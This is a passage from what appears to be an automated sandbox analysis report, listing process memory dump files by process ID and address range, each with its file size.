                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      440KB

                                                                                                                                                                                                                                                                    • memory/4988-210-0x00000000749A0000-0x0000000075150000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      7.7MB

                                                                                                                                                                                                                                                                    • memory/5568-325-0x00000000010D0000-0x00000000010D9000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      36KB

                                                                                                                                                                                                                                                                    • memory/5568-332-0x0000000002B70000-0x0000000002F70000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      4.0MB

                                                                                                                                                                                                                                                                    • memory/5568-352-0x0000000002B70000-0x0000000002F70000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      4.0MB

                                                                                                                                                                                                                                                                    • memory/5568-341-0x00007FFD0C1B0000-0x00007FFD0C3A5000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      2.0MB

                                                                                                                                                                                                                                                                    • memory/5568-349-0x0000000002B70000-0x0000000002F70000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      4.0MB

                                                                                                                                                                                                                                                                    • memory/5568-346-0x0000000002B70000-0x0000000002F70000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      4.0MB

                                                                                                                                                                                                                                                                    • memory/5568-345-0x00000000771B0000-0x00000000773C5000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      2.1MB

                                                                                                                                                                                                                                                                    • memory/5864-367-0x0000000010000000-0x00000000105E5000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      5.9MB

                                                                                                                                                                                                                                                                    • memory/6032-394-0x00000000749A0000-0x0000000075150000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      7.7MB

                                                                                                                                                                                                                                                                    • memory/6032-388-0x0000000004A30000-0x0000000004A40000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      64KB

                                                                                                                                                                                                                                                                    • memory/6032-408-0x0000000005810000-0x0000000005876000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      408KB

                                                                                                                                                                                                                                                                    • memory/6032-391-0x0000000004A30000-0x0000000004A40000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      64KB

                                                                                                                                                                                                                                                                    • memory/6040-407-0x0000000005460000-0x0000000005482000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      136KB

                                                                                                                                                                                                                                                                    • memory/6040-401-0x00000000055D0000-0x0000000005BF8000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      6.2MB

                                                                                                                                                                                                                                                                    • memory/6040-390-0x0000000004F90000-0x0000000004FA0000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      64KB

                                                                                                                                                                                                                                                                    • memory/6040-389-0x00000000749A0000-0x0000000075150000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      7.7MB

                                                                                                                                                                                                                                                                    • memory/6040-369-0x00000000028F0000-0x0000000002926000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      216KB

                                                                                                                                                                                                                                                                    • memory/6048-393-0x00000000749A0000-0x0000000075150000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      7.7MB

                                                                                                                                                                                                                                                                    • memory/6048-392-0x00000000022A0000-0x00000000022B0000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      64KB

                                                                                                                                                                                                                                                                    • memory/6048-437-0x0000000005820000-0x0000000005B74000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      3.3MB

                                                                                                                                                                                                                                                                    • memory/6048-414-0x00000000055E0000-0x0000000005646000-memory.dmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      408KB